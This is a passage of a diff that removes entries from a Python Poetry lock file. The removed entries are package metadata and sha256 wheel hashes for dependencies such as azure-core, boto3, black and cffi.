"audioop_lts-0.2.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:f9ee9b52f5f857fbaf9d605a360884f034c92c1c23021fb90b2e39b8e64bede6"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:49ee1a41738a23e98d98b937a0638357a2477bc99e61b0f768a8f654f45d9b7a"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5b00be98ccd0fc123dcfad31d50030d25fcf31488cde9e61692029cd7394733b"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a6d2e0f9f7a69403e388894d4ca5ada5c47230716a03f2847cfc7bd1ecb589d6"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f9b0b8a03ef474f56d1a842af1a2e01398b8f7654009823c6d9e0ecff4d5cfbf"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2b267b70747d82125f1a021506565bdc5609a2b24bcb4773c16d79d2bb260bbd"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0337d658f9b81f4cd0fdb1f47635070cc084871a3d4646d9de74fdf4e7c3d24a"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:167d3b62586faef8b6b2275c3218796b12621a60e43f7e9d5845d627b9c9b80e"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0d9385e96f9f6da847f4d571ce3cb15b5091140edf3db97276872647ce37efd7"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:48159d96962674eccdca9a3df280e864e8ac75e40a577cc97c5c42667ffabfc5"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:8fefe5868cd082db1186f2837d64cfbfa78b548ea0d0543e9b28935ccce81ce9"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:58cf54380c3884fb49fdd37dfb7a772632b6701d28edd3e2904743c5e1773602"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:088327f00488cdeed296edd9215ca159f3a5a5034741465789cad403fcf4bec0"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-win32.whl", hash = "sha256:068aa17a38b4e0e7de771c62c60bbca2455924b67a8814f3b0dee92b5820c0b3"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:a5bf613e96f49712073de86f20dbdd4014ca18efd4d34ed18c75bd808337851b"}, - {file = "audioop_lts-0.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:b492c3b040153e68b9fdaff5913305aaaba5bb433d8a7f73d5cf6a64ed3cc1dd"}, - {file = "audioop_lts-0.2.2.tar.gz", hash = "sha256:64d0c62d88e67b98a1a5e71987b7aa7b5bcffc7dcee65b635823dbdd0a8dbbd0"}, -] - -[[package]] -name = "azure-core" -version = "1.35.0" -description = "Microsoft Azure Core Library for Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "azure_core-1.35.0-py3-none-any.whl", hash = "sha256:8db78c72868a58f3de8991eb4d22c4d368fae226dac1002998d6c50437e7dad1"}, - {file = "azure_core-1.35.0.tar.gz", hash = "sha256:c0be528489485e9ede59b6971eb63c1eaacf83ef53001bfe3904e475e972be5c"}, -] - -[package.dependencies] -requests = ">=2.21.0" -six = ">=1.11.0" -typing-extensions = ">=4.6.0" - -[package.extras] -aio = ["aiohttp (>=3.0)"] -tracing = ["opentelemetry-api (>=1.26,<2.0)"] - -[[package]] -name = "azure-identity" -version = "1.24.0" -description = "Microsoft Azure Identity Library for Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "azure_identity-1.24.0-py3-none-any.whl", hash = "sha256:9e04997cde0ab02ed66422c74748548e620b7b29361c72ce622acab0267ff7c4"}, - {file = "azure_identity-1.24.0.tar.gz", hash = "sha256:6c3a40b2a70af831e920b89e6421e8dcd4af78a0cb38b9642d86c67643d4930c"}, -] - -[package.dependencies] -azure-core = ">=1.31.0" -cryptography = ">=2.5" -msal = ">=1.30.0" -msal-extensions = ">=1.2.0" -typing-extensions = ">=4.0.0" - -[[package]] -name = "azure-storage-blob" -version = "12.26.0" -description = "Microsoft Azure Blob Storage Client Library for Python" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "azure_storage_blob-12.26.0-py3-none-any.whl", hash = "sha256:8c5631b8b22b4f53ec5fff2f3bededf34cfef111e2af613ad42c9e6de00a77fe"}, - {file = "azure_storage_blob-12.26.0.tar.gz", hash = "sha256:5dd7d7824224f7de00bfeb032753601c982655173061e242f13be6e26d78d71f"}, -] - -[package.dependencies] -azure-core = ">=1.30.0" -cryptography = ">=2.1.4" -isodate = ">=0.6.1" -typing-extensions = ">=4.6.0" - -[package.extras] -aio = ["azure-core[aio] (>=1.30.0)"] - -[[package]] -name = "babel" -version = "2.17.0" -description = "Internationalization utilities" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "babel-2.17.0-py3-none-any.whl", hash = "sha256:4d0b53093fdfb4b21c92b5213dba5a1b23885afa8383709427046b21c366e5f2"}, - {file = "babel-2.17.0.tar.gz", hash = "sha256:0c54cffb19f690cdcc52a3b50bcbf71e07a808d1c80d549f2459b9d2cf0afb9d"}, -] - -[package.extras] -dev = ["backports.zoneinfo", "freezegun (>=1.0,<2.0)", "jinja2 (>=3.0)", "pytest (>=6.0)", "pytest-cov", "pytz", "setuptools", "tzdata"] - -[[package]] -name = "backoff" -version = "2.2.1" -description = "Function decoration for backoff and retry" -optional = false -python-versions = ">=3.7,<4.0" -groups = ["main"] -files = [ - {file = "backoff-2.2.1-py3-none-any.whl", hash = "sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8"}, - {file = "backoff-2.2.1.tar.gz", hash = "sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba"}, -] - -[[package]] -name = "bandit" -version = "1.8.6" -description = "Security oriented static analyser for python code." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "bandit-1.8.6-py3-none-any.whl", hash = "sha256:3348e934d736fcdb68b6aa4030487097e23a501adf3e7827b63658df464dddd0"}, - {file = "bandit-1.8.6.tar.gz", hash = "sha256:dbfe9c25fc6961c2078593de55fd19f2559f9e45b99f1272341f5b95dea4e56b"}, -] - -[package.dependencies] -colorama = {version = ">=0.3.9", markers = "platform_system == \"Windows\""} -PyYAML = ">=5.3.1" -rich = "*" -stevedore = ">=1.20.0" - -[package.extras] -baseline = ["GitPython (>=3.1.30)"] -sarif = ["jschema-to-python (>=1.2.3)", "sarif-om (>=1.0.4)"] -test = ["beautifulsoup4 (>=4.8.0)", "coverage (>=4.5.4)", "fixtures (>=3.0.0)", "flake8 (>=4.0.0)", "pylint (==1.9.4)", "stestr (>=2.5.0)", "testscenarios (>=0.5.0)", "testtools (>=2.3.0)"] -toml = ["tomli (>=1.1.0)"] -yaml = ["PyYAML"] - -[[package]] -name = "beautifulsoup4" -version = "4.13.4" -description = "Screen-scraping library" -optional = false -python-versions = ">=3.7.0" -groups = ["main"] -files = [ - {file = "beautifulsoup4-4.13.4-py3-none-any.whl", hash = "sha256:9bbbb14bfde9d79f38b8cd5f8c7c85f4b8f2523190ebed90e950a8dea4cb1c4b"}, - {file = "beautifulsoup4-4.13.4.tar.gz", hash = "sha256:dbb3c4e1ceae6aefebdaf2423247260cd062430a410e38c66f2baa50a8437195"}, -] - -[package.dependencies] -soupsieve = ">1.2" -typing-extensions = ">=4.0.0" - -[package.extras] -cchardet = ["cchardet"] -chardet = ["chardet"] -charset-normalizer = ["charset-normalizer"] -html5lib = ["html5lib"] -lxml = ["lxml"] - -[[package]] -name = "binaryornot" -version = "0.4.4" -description = "Ultra-lightweight pure Python package to check if a file is binary or text." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "binaryornot-0.4.4-py2.py3-none-any.whl", hash = "sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4"}, - {file = "binaryornot-0.4.4.tar.gz", hash = "sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061"}, -] - -[package.dependencies] -chardet = ">=3.0.2" - -[[package]] -name = "black" -version = "25.1.0" -description = "The uncompromising code formatter." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "black-25.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:759e7ec1e050a15f89b770cefbf91ebee8917aac5c20483bc2d80a6c3a04df32"}, - {file = "black-25.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e519ecf93120f34243e6b0054db49c00a35f84f195d5bce7e9f5cfc578fc2da"}, - {file = "black-25.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:055e59b198df7ac0b7efca5ad7ff2516bca343276c466be72eb04a3bcc1f82d7"}, - {file = "black-25.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:db8ea9917d6f8fc62abd90d944920d95e73c83a5ee3383493e35d271aca872e9"}, - {file = "black-25.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a39337598244de4bae26475f77dda852ea00a93bd4c728e09eacd827ec929df0"}, - {file = "black-25.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96c1c7cd856bba8e20094e36e0f948718dc688dba4a9d78c3adde52b9e6c2299"}, - {file = "black-25.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bce2e264d59c91e52d8000d507eb20a9aca4a778731a08cfff7e5ac4a4bb7096"}, - {file = "black-25.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:172b1dbff09f86ce6f4eb8edf9dede08b1fce58ba194c87d7a4f1a5aa2f5b3c2"}, - {file = "black-25.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4b60580e829091e6f9238c848ea6750efed72140b91b048770b64e74fe04908b"}, - {file = "black-25.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1e2978f6df243b155ef5fa7e558a43037c3079093ed5d10fd84c43900f2d8ecc"}, - {file = "black-25.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3b48735872ec535027d979e8dcb20bf4f70b5ac75a8ea99f127c106a7d7aba9f"}, - {file = "black-25.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:ea0213189960bda9cf99be5b8c8ce66bb054af5e9e861249cd23471bd7b0b3ba"}, - {file = "black-25.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8f0b18a02996a836cc9c9c78e5babec10930862827b1b724ddfe98ccf2f2fe4f"}, - {file = "black-25.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:afebb7098bfbc70037a053b91ae8437c3857482d3a690fefc03e9ff7aa9a5fd3"}, - {file = "black-25.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:030b9759066a4ee5e5aca28c3c77f9c64789cdd4de8ac1df642c40b708be6171"}, - {file = "black-25.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:a22f402b410566e2d1c950708c77ebf5ebd5d0d88a6a2e87c86d9fb48afa0d18"}, - {file = "black-25.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:a1ee0a0c330f7b5130ce0caed9936a904793576ef4d2b98c40835d6a65afa6a0"}, - {file = "black-25.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3df5f1bf91d36002b0a75389ca8663510cf0531cca8aa5c1ef695b46d98655f"}, - {file = "black-25.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9e6827d563a2c820772b32ce8a42828dc6790f095f441beef18f96aa6f8294e"}, - {file = "black-25.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:bacabb307dca5ebaf9c118d2d2f6903da0d62c9faa82bd21a33eecc319559355"}, - {file = "black-25.1.0-py3-none-any.whl", hash = "sha256:95e8176dae143ba9097f351d174fdaf0ccd29efb414b362ae3fd72bf0f710717"}, - {file = "black-25.1.0.tar.gz", hash = "sha256:33496d5cd1222ad73391352b4ae8da15253c5de89b93a80b3e2c8d9a19ec2666"}, -] - -[package.dependencies] -click = ">=8.0.0" -mypy-extensions = ">=0.4.3" -packaging = ">=22.0" -pathspec = ">=0.9.0" -platformdirs = ">=2" - -[package.extras] -colorama = ["colorama (>=0.4.3)"] -d = ["aiohttp (>=3.10)"] -jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] -uvloop = ["uvloop (>=0.15.2)"] - -[[package]] -name = "boto3" -version = "1.34.34" -description = "The AWS SDK for Python" -optional = false -python-versions = ">= 3.8" -groups = ["main"] -files = [ - {file = "boto3-1.34.34-py3-none-any.whl", hash = "sha256:33a8b6d9136fa7427160edb92d2e50f2035f04e9d63a2d1027349053e12626aa"}, - {file = "boto3-1.34.34.tar.gz", hash = "sha256:b2f321e20966f021ec800b7f2c01287a3dd04fc5965acdfbaa9c505a24ca45d1"}, -] - -[package.dependencies] -botocore = ">=1.34.34,<1.35.0" -jmespath = ">=0.7.1,<2.0.0" -s3transfer = ">=0.10.0,<0.11.0" - -[package.extras] -crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] - -[[package]] -name = "botocore" -version = "1.34.162" -description = "Low-level, data-driven core of boto 3." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "botocore-1.34.162-py3-none-any.whl", hash = "sha256:2d918b02db88d27a75b48275e6fb2506e9adaaddbec1ffa6a8a0898b34e769be"}, - {file = "botocore-1.34.162.tar.gz", hash = "sha256:adc23be4fb99ad31961236342b7cbf3c0bfc62532cd02852196032e8c0d682f3"}, -] - -[package.dependencies] -jmespath = ">=0.7.1,<2.0.0" -python-dateutil = ">=2.1,<3.0.0" -urllib3 = {version = ">=1.25.4,<2.2.0 || >2.2.0,<3", markers = "python_version >= \"3.10\""} - -[package.extras] -crt = ["awscrt (==0.21.2)"] - -[[package]] -name = "cachetools" -version = "5.5.2" -description = "Extensible memoizing collections and decorators" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "cachetools-5.5.2-py3-none-any.whl", hash = "sha256:d26a22bcc62eb95c3beabd9f1ee5e820d3d2704fe2967cbe350e20c8ffcd3f0a"}, - {file = "cachetools-5.5.2.tar.gz", hash = "sha256:1a661caa9175d26759571b2e19580f9d6393969e5dfca11fdb1f947a23e640d4"}, -] - -[[package]] -name = "certifi" -version = "2025.8.3" -description = "Python package for providing Mozilla's CA Bundle." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "certifi-2025.8.3-py3-none-any.whl", hash = "sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5"}, - {file = "certifi-2025.8.3.tar.gz", hash = "sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407"}, -] - -[[package]] -name = "cffi" -version = "1.17.1" -description = "Foreign Function Interface for Python calling C code." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, - {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, - {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, - {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, - {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, - {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, - {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, - {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, - {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, - {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, - {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, - {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, - {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, - {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, - {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, - {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, - {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, - {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, - {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, - {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, - {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, - {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, - {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, - {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, - {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, - {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, - {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, - {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, -] - -[package.dependencies] -pycparser = "*" - -[[package]] -name = "cfgv" -version = "3.4.0" -description = "Validate configuration and produce human readable error messages." -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "cfgv-3.4.0-py2.py3-none-any.whl", hash = "sha256:b7265b1f29fd3316bfcd2b330d63d024f2bfd8bcb8b0272f8e19a504856c48f9"}, - {file = "cfgv-3.4.0.tar.gz", hash = "sha256:e52591d4c5f5dead8e0f673fb16db7949d2cfb3f7da4582893288f0ded8fe560"}, -] - -[[package]] -name = "chardet" -version = "5.2.0" -description = "Universal encoding detector for Python 3" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "chardet-5.2.0-py3-none-any.whl", hash = 